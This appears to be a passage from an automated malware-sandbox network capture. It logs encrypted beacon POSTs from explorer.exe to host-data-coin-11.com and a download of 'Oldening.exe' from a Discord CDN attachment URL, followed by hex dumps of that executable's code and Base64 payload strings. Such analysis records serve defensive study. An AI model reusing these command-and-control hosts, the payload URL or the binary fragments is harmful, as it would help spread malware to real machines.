Dec 1, 2021 10:04:28.505476952 CET	1115	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa ff ff ff Data Ascii: b%
Dec 1, 2021 10:04:28.505492926 CET	1116	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: /
Dec 1, 2021 10:04:28.505510092 CET	1117	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d6 ff ff ff 5f ff ff ff 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: _
Dec 1, 2021 10:04:28.505526066 CET	1119	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:
Dec 1, 2021 10:04:28.563786030 CET	1120	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 5

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49756	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:35.575402975 CET	2439	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mojyvpeoe.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 334 Host: host-data-coin-11.com
Dec 1, 2021 10:04:35.575413942 CET	2439	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 9a 66 5d 02 c9 a1 c1 64 34 af aa 70 Data Ascii: o:@ACFkUwmDu$f]d4p]vT.A]*ro?AvY76/J1D3^5S"kLKNQ@LlF\|NFqNGMez'm$}\|84TVa&eS
Dec 1, 2021 10:04:35.683629036 CET	2440	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:35 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49757	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:35.787384033 CET	2441	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yaoomuahu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: host-data-coin-11.com
Dec 1, 2021 10:04:35.787395954 CET	2441	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 20 90 ac 1d Data Ascii: o:@ACFkUwmDu$f]d I5o~JyCPDzlNzLs(19d3]~1a<x]19M?.;QyuQ,\M[Z2WW6w!]+Blvd$CqgzI=
Dec 1, 2021 10:04:35.886334896 CET	2441	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49759	162.159.135.233	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-01 09:04:36 UTC	0	OUT	GET /attachments/914960103592054858/914961866462232616/Oldening.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cdn.discordapp.com
2021-12-01 09:04:36 UTC	0	IN	HTTP/1.1 200 OK Date: Wed, 01 Dec 2021 09:04:36 GMT Content-Type: application/x-msdos-program Content-Length: 397824 Connection: close CF-Ray: 6b6b26224e6142d5-FRA Accept-Ranges: bytes Age: 134795 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Oldening.exe ETag: "5115e5dab211559a85cd0154e8100f53" Expires: Thu, 01 Dec 2022 09:04:36 GMT Last-Modified: Mon, 29 Nov 2021 19:31:48 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1638214308199102 x-goog-hash: crc32c=YIGNXA== x-goog-hash: md5=URXl2rIRVZqFzQFU6BAPUw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 397824 X-GUploader-UploadID: ADPycdvBnSbnjnhwzbmKVJY4AfYuSX_vGG4T8mybDbmzzEh5wTvKrUq6ILGhBDBk0UwTHNlT6meCPadacrFAck7K5BAkDWKQDw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-01 09:04:36 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 4f 7a 4d 68 64 70 48 66 51 6e 37 5a 33 54 69 6b 5a 62 34 57 35 4d 49 5a 66 76 6c 48 7a 6d 6c 4c 34 56 76 61 30 70 31 57 76 6a 63 31 44 62 4a 25 32 42 34 46 4f 56 7a 30 76 43 34 34 53 4c 63 74 75 36 69 64 62 66 34 59 54 56 58 4b 72 32 65 46 25 32 46 57 69 68 69 64 6d 77 33 70 33 32 70 65 55 72 4e 42 44 71 43 77 31 25 32 46 48 46 30 44 62 67 7a 42 74 61 6f 35 65 61 5a 67 68 33 67 41 25 32 46 49 59 74 65 4a 51 78 68 58 62 51 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OzMhdpHfQn7Z3TikZb4W5MIZfvlHzmlL4Vva0p1Wvjc1DbJ%2B4FOVz0vC44SLctu6idbf4YTVXKr2eF%2FWihidmw3p32peUrNBDqCw1%2FHF0DbgzBtao5eaZgh3gA%2FIYteJQxhXbQ%3D%3D"}],"group":"cf-nel","max_age
2021-12-01 09:04:36 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 28 a3 71 d7 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 0a 06 00 00 06 00 00 00 00 00 00 fe 28 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(q0( @@ @
2021-12-01 09:04:36 UTC	2	IN	Data Raw: 24 00 00 00 16 d0 04 00 00 1b 28 0e 00 00 0a d0 09 00 00 02 28 0e 00 00 0a 28 15 00 00 0a 28 26 00 00 0a 80 09 00 00 04 7e 09 00 00 04 7b 27 00 00 0a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 df 04 00 70 14 d0 09 00 00 02 28 0e 00 00 0a 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2a 00 00 0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 0a 7e 08 00 00 04 02 03 6f 2c 00 00 0a 6f 2d 00 00 0a 28 15 00 00 06 2a 00 00 00 13 30 10 00 3b 03 00 00 06 00 00 11 7e 0a 00 00 04 3a 44 00 00 00 16 72 7e 05 00 70 14 d0 09 00 00 02 28 0e 00 00 0a 19 8d 26 00 00 01 25 16 16 14 28 28 00 00 0a a2 25 17 19 14 28 28 00 00 0a a2 25 18 17 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2e 00 00 0a 80 0a 00 00 04 7e 0a 00 00 04 7b Data Ascii: $((((&~{'~~::rp(&%((%((()(~{+~o,o-(0;~:Dr~p(&%((%((%((()(.~{
2021-12-01 09:04:36 UTC	4	IN	Data Raw: 12 16 8f 0d 00 00 01 e0 13 11 11 11 28 07 00 00 0a 13 05 11 11 0b 11 11 07 7b 19 00 00 04 e0 58 0c 14 13 12 07 7b 18 00 00 04 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 0a fe 15 22 00 00 02 12 0a 11 0a 8c 22 00 00 02 28 08 00 00 0a 7d 2a 00 00 04 12 0a 16 7d 36 00 00 04 08 7c 1d 00 00 04 7b 20 00 00 04 6e 28 09 00 00 0a 13 04 11 06 72 67 00 00 70 16 28 08 00 00 06 6f 01 00 00 2b 16 14 28 0a 00 00 0a 7e 06 00 00 0a 7e 06 00 00 0a 16 20 0c 00 00 08 7e 06 00 00 0a 09 12 0a 12 07 16 6f 31 00 00 06 3a 7a 00 00 00 11 07 7b 26 00 00 04 7e 06 00 00 0a 28 0b 00 00 0a 39 62 00 00 00 11 06 72 c9 00 00 Data Ascii: ({X{ MZ@{ PE;\|{ ;{oQ ""(}*}6\|{ n(rgp(o+(~~ ~o1:z{&~(9br
2021-12-01 09:04:36 UTC	5	IN	Data Raw: 2b 11 07 7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 16 2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 0c 11 0f 6e 58 6d 7d 17 00 00 04 06 39 8a 00 00 00 11 06 72 39 03 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11 07 7b 27 00 00 04 12 08 e0 6f 39 00 00 06 3a ee 00 00 00 11 06 72 c9 00 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 07 7b 26 00 00 04 15 6f 29 00 00 06 39 ca 00 00 00 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 00 00 04 6f 2d 00 00 06 26 11 06 72 13 01 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d Data Ascii: +{&o)9@rp(o+{&o-&rp(o+{'o-&*(\|{nXm}9r9p(o+{'o9:rp(o+{&o)9rp(o+{&o-&rp(o+{'o-
2021-12-01 09:04:36 UTC	7	IN	Data Raw: 15 00 38 00 02 01 00 00 bf 01 00 00 09 00 15 00 3c 00 02 01 00 00 d5 01 00 00 09 00 15 00 40 00 02 01 00 00 ee 01 00 00 09 00 15 00 44 00 02 01 00 00 f5 01 00 00 09 00 15 00 48 00 02 01 00 00 0b 02 00 00 09 00 15 00 4c 00 11 01 10 00 23 02 30 02 0d 00 15 00 50 00 11 01 10 00 52 02 62 02 0d 00 18 00 50 00 11 01 10 00 71 02 51 00 0d 00 1a 00 50 00 11 01 10 00 76 02 de 00 0d 00 1b 00 50 00 11 01 10 00 88 02 8f 02 0d 00 1e 00 50 00 11 01 10 00 a2 02 a9 02 0d 00 23 00 50 00 09 01 10 00 be 02 c5 02 0d 00 26 00 50 00 09 01 11 00 d8 02 8f 02 0d 00 2a 00 50 00 01 01 10 00 ef 02 51 00 05 00 3c 00 50 00 00 01 00 00 f7 02 00 00 05 00 3d 00 53 00 13 01 00 00 16 03 00 00 0d 00 3e 00 53 00 06 00 02 04 db 00 11 00 05 05 88 01 16 00 0c 05 8b 01 01 00 3d 05 97 01 16 00 96 Data Ascii: 8<@DHL#0PRbPqQPvPP#P&P*PQ<P=S>S=
2021-12-01 09:04:36 UTC	8	IN	Data Raw: 00 86 18 71 03 cc 00 76 00 00 00 00 00 03 00 c6 01 bd 03 d0 04 78 00 00 00 00 00 03 00 c6 01 b6 09 d8 04 7b 00 00 00 00 00 03 00 c6 01 ed 09 62 04 7f 00 00 00 00 00 03 00 86 18 71 03 cc 00 81 00 00 00 00 00 03 00 c6 01 bd 03 e6 04 83 00 00 00 00 00 03 00 c6 01 b6 09 ec 04 85 00 00 00 00 00 03 00 c6 01 ed 09 f8 04 89 00 00 00 00 00 03 00 86 18 71 03 cc 00 8a 00 00 00 00 00 03 00 c6 01 bd 03 ff 04 8c 00 00 00 00 00 03 00 c6 01 b6 09 0b 05 92 00 00 00 00 00 03 00 c6 01 ed 09 1d 05 9a 00 00 00 00 00 03 00 86 18 71 03 cc 00 9d 00 00 00 00 00 03 00 c6 01 bd 03 28 05 9f 00 00 00 00 00 03 00 c6 01 b6 09 82 04 a0 00 00 00 00 00 03 00 c6 01 ed 09 f8 04 a3 00 00 00 00 00 03 00 86 18 71 03 cc 00 a4 00 00 00 00 00 03 00 c6 01 bd 03 2d 05 a6 00 00 00 00 00 03 00 c6 01 Data Ascii: qvx{bqqq(q-
2021-12-01 09:04:36 UTC	9	IN	Data Raw: 00 00 02 00 e6 09 00 00 01 00 f7 09 00 00 01 00 d4 0b 00 00 02 00 6a 0a 00 00 01 00 d8 0b 00 00 02 00 dd 0b 00 00 01 00 d8 0b 00 00 02 00 dd 0b 00 00 03 00 dd 09 00 00 04 00 e6 09 00 00 01 00 f7 09 00 00 01 00 98 09 00 00 01 00 9d 03 31 00 71 03 b0 00 0c 00 71 03 cc 00 0c 00 bd 03 d2 00 59 00 71 03 d7 00 09 00 71 03 d7 00 51 00 36 04 10 01 51 00 3b 04 13 01 89 00 4f 04 19 01 51 00 3b 04 1e 01 91 00 77 04 28 01 51 00 8a 04 2c 01 99 00 b0 04 3c 01 51 00 b6 04 55 01 a1 00 c3 04 59 01 89 00 4f 04 60 01 89 00 e7 04 6b 01 89 00 f4 04 70 01 89 00 f9 04 79 01 29 00 4b 05 97 01 29 00 51 05 9a 01 b9 00 a9 05 b1 01 14 00 19 06 c9 01 14 00 20 06 d4 01 29 00 27 06 d8 01 1c 00 bd 03 e6 01 29 00 43 06 f9 01 f1 00 4e 06 fd 01 f9 00 77 06 06 02 f9 00 80 06 0b 02 01 01 71 Data Ascii: j1qqYqqQ6Q;OQ;w(Q,<QUYO`kpy)K)Q )')CNwq
2021-12-01 09:04:36 UTC	11	IN	Data Raw: 6f 00 4f 6c 64 65 6e 69 6e 67 2e 4d 61 70 73 00 4f 62 6a 65 63 74 00 53 79 73 74 65 6d 00 6d 73 63 6f 72 6c 69 62 00 57 6f 72 6b 65 72 00 4f 6c 64 65 6e 69 6e 67 2e 53 68 61 72 65 64 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 5f 30 00 49 6e 69 74 69 61 6c 69 7a 65 72 4d 65 73 73 61 67 65 44 65 53 65 72 69 61 6c 69 7a 65 72 00 4f 6c 64 65 6e 69 6e 67 2e 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 00 4d 6f 64 65 6c 00 4f 6c 64 65 6e 69 6e 67 2e 4c 69 73 74 65 6e 65 72 73 00 3c 3e 6f 5f 5f 34 00 50 61 67 65 43 6f 6e 74 61 69 6e 65 72 53 74 75 62 00 4f 6c 64 65 6e 69 6e 67 2e 53 74 75 62 73 00 50 72 6f 78 79 00 3c 3e 6f 5f 5f 35 00 53 65 72 76 65 72 00 53 74 75 62 51 75 65 75 65 43 6c 61 73 73 00 4f 6c 64 65 6e 69 6e 67 2e 43 6c 61 73 73 65 73 00 41 Data Ascii: oOldening.MapsObjectSystemmscorlibWorkerOldening.Shared<>c__DisplayClass2_0InitializerMessageDeSerializerOldening.SerializationModelOldening.Listeners<>o__4PageContainerStubOldening.StubsProxy<>o__5ServerStubQueueClassOldening.ClassesA
2021-12-01 09:04:36 UTC	12	IN	Data Raw: 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 00 43 61 6c 6c 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e 64 65 72 46 6c 61 67 73 00 43 61 6c 6c 53 69 74 65 60 31 00 46 75 6e 63 60 33 00 43 61 6c 6c 53 69 74 65 00 43 72 65 61 74 65 00 54 61 72 67 65 74 00 54 6f 43 68 61 72 41 72 72 61 79 00 43 68 61 72 00 56 65 72 69 66 79 49 6e 66 6f 00 67 65 74 5f 4c 65 6e 67 74 68 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 45 6e 63 6f 64 69 6e 67 00 53 79 73 74 65 6d 2e 54 65 78 74 00 67 65 74 5f Data Ascii: rosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtime.CompilerServicesSystem.CoreCSharpBinderFlagsCallSite`1Func`3CallSiteCreateTargetToCharArrayCharVerifyInfoget_LengthFromBase64CharArrayEncodingSystem.Textget_
2021-12-01 09:04:36 UTC	13	IN	Data Raw: 48 61 6e 64 6c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6c 61 67 73 00 6c 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6c 70 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6c 70 53 74 61 72 74 75 70 49 6e 66 6f 00 6c 70 50 72 6f 63 65 73 72 65 64 61 6f 4c 72 65 6e 67 69 73 65 44 6e 6f 69 74 61 7a 69 6c 61 69 72 65 53 6e 67 69 73 65 44 6c 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 32 39 34 31 38 00 68 4e 65 77 54 6f 6b 65 6e 00 68 54 68 72 65 61 64 00 70 43 6f 6e 74 65 78 74 00 76 00 69 76 6b 00 66 69 72 73 74 00 76 69 73 00 50 72 6f 63 65 73 73 48 61 6e 64 6c 65 00 42 61 73 65 41 64 64 72 65 73 73 00 5a 65 72 6f 42 69 74 73 00 52 65 67 69 6f 6e 53 69 7a 65 00 41 6c 6c 6f 63 61 74 69 6f 6e 54 79 70 65 00 50 72 6f 74 65 63 74 00 69 74 65 6d 00 Data Ascii: HandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcesredaoLrengiseDnoitazilaireSngiseDledoMtnenopmoCmetsyS29418hNewTokenhThreadpContextvivkfirstvisProcessHandleBaseAddressZeroBitsRegionSizeAllocationTypeProtectitem
2021-12-01 09:04:36 UTC	15	IN	Data Raw: 4f 00 43 00 54 00 55 00 33 00 55 00 67 00 3d 00 3d 00 00 41 49 00 39 00 39 00 37 00 31 00 54 00 6f 00 68 00 50 00 67 00 64 00 41 00 4d 00 6c 00 55 00 41 00 43 00 54 00 45 00 63 00 43 00 55 00 41 00 73 00 41 00 77 00 56 00 57 00 50 00 6d 00 77 00 3d 00 00 59 4a 00 39 00 39 00 37 00 31 00 67 00 77 00 39 00 4d 00 41 00 63 00 65 00 59 00 41 00 38 00 74 00 43 00 53 00 6b 00 56 00 4d 00 53 00 6f 00 47 00 50 00 7a 00 77 00 4a 00 50 00 54 00 30 00 2b 00 66 00 52 00 30 00 44 00 42 00 31 00 6c 00 47 00 58 00 77 00 3d 00 3d 00 00 61 4a 00 39 00 39 00 37 00 31 00 67 00 77 00 39 00 4a 00 41 00 63 00 30 00 4b 00 52 00 45 00 58 00 66 00 54 00 56 00 56 00 4d 00 53 00 51 00 34 00 48 00 77 00 55 00 4c 00 49 00 57 00 41 00 2b 00 47 00 54 00 63 00 39 00 50 00 7a 00 78 00 44 Data Ascii: OCTU3Ug==AI9971TohPgdAMlUACTEcCUAsAwVWPmw=YJ9971gw9MAceYA8tCSkVMSoGPzwJPT0+fR0DB1lGXw==aJ9971gw9JAc0KREXfTVVMSQ4HwULIWA+GTc9PzxD
2021-12-01 09:04:36 UTC	16	IN	Data Raw: 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 08 b7 7a 5c 56 19 34 e0 89 05 00 01 01 1d 0e 04 20 01 01 0e 03 00 00 0a 03 00 00 01 08 00 02 01 12 80 8c 1d 1c 05 15 12 21 01 02 05 20 02 01 1c 18 04 20 00 13 00 03 20 00 01 04 06 12 80 8c 03 20 00 02 2b 07 16 02 0f 11 70 0f 11 78 0e 18 18 12 34 11 80 84 11 6c 12 34 11 80 88 18 0a 0b 1d 05 09 11 6c 0f 05 45 1d 05 07 0f 11 80 80 08 02 06 18 05 00 01 18 0f 01 04 00 01 08 1c 04 00 01 18 0a 04 0a 01 12 4c 03 00 00 0e 05 00 02 02 18 18 04 0a 01 12 44 04 0a 01 12 48 04 00 01 01 08 04 0a 01 12 3c 04 0a 01 12 58 04 0a 01 12 5c 04 0a 01 12 40 03 20 00 0a 06 00 01 12 51 11 55 05 00 01 08 12 51 04 0a 01 12 50 04 00 01 18 08 08 00 04 01 1d 05 Data Ascii: ken=b77a5c561934e089TSkipVerificationz\V4 ! +px4l4lELDH<X\@ QUQP
2021-12-01 09:04:36 UTC	17	IN	Data Raw: 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 34 04 01 00 00 00 0c 01 00 03 00 00 00 02 00 00 00 00 00 09 20 02 01 11 80 e1 11 80 e5 56 00 39 00 39 00 37 00 31 00 46 00 5a 00 78 00 55 00 55 00 46 00 42 00 54 00 55 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 55 00 46 00 42 00 51 00 53 00 38 00 76 00 4f 00 45 00 46 00 42 00 54 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 Data Ascii: .NET Framework 4 V9971FZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
2021-12-01 09:04:36 UTC	19	IN	Data Raw: 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 7a 00 55 00 77 00 57 00 6c 00 68 00 6f 00 4d 00 45 00 46 00 42 00 51 00 55 00 46 00 77 00 53 00 56 00 6c 00 43 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 70 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 46 00 42 00 51 00 55 00 64 00 42 00 64 00 57 00 4e 00 75 00 54 00 6e 00 6c 00 5a 00 64 00 30 00 46 00 42 00 51 00 55 00 35 00 52 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 56 00 42 00 51 00 55 00 46 00 6e 00 51 00 55 00 46 00 42 00 51 00 30 00 31 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 Data Ascii: BQUFBQUFBQzUwWlhoMEFBQUFwSVlCQUFBZ0FBQUFpQUVBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUdBdWNuTnlZd0FBQU5RRUFBQUF3QUVBQUFnQUFBQ01BUUFBQU
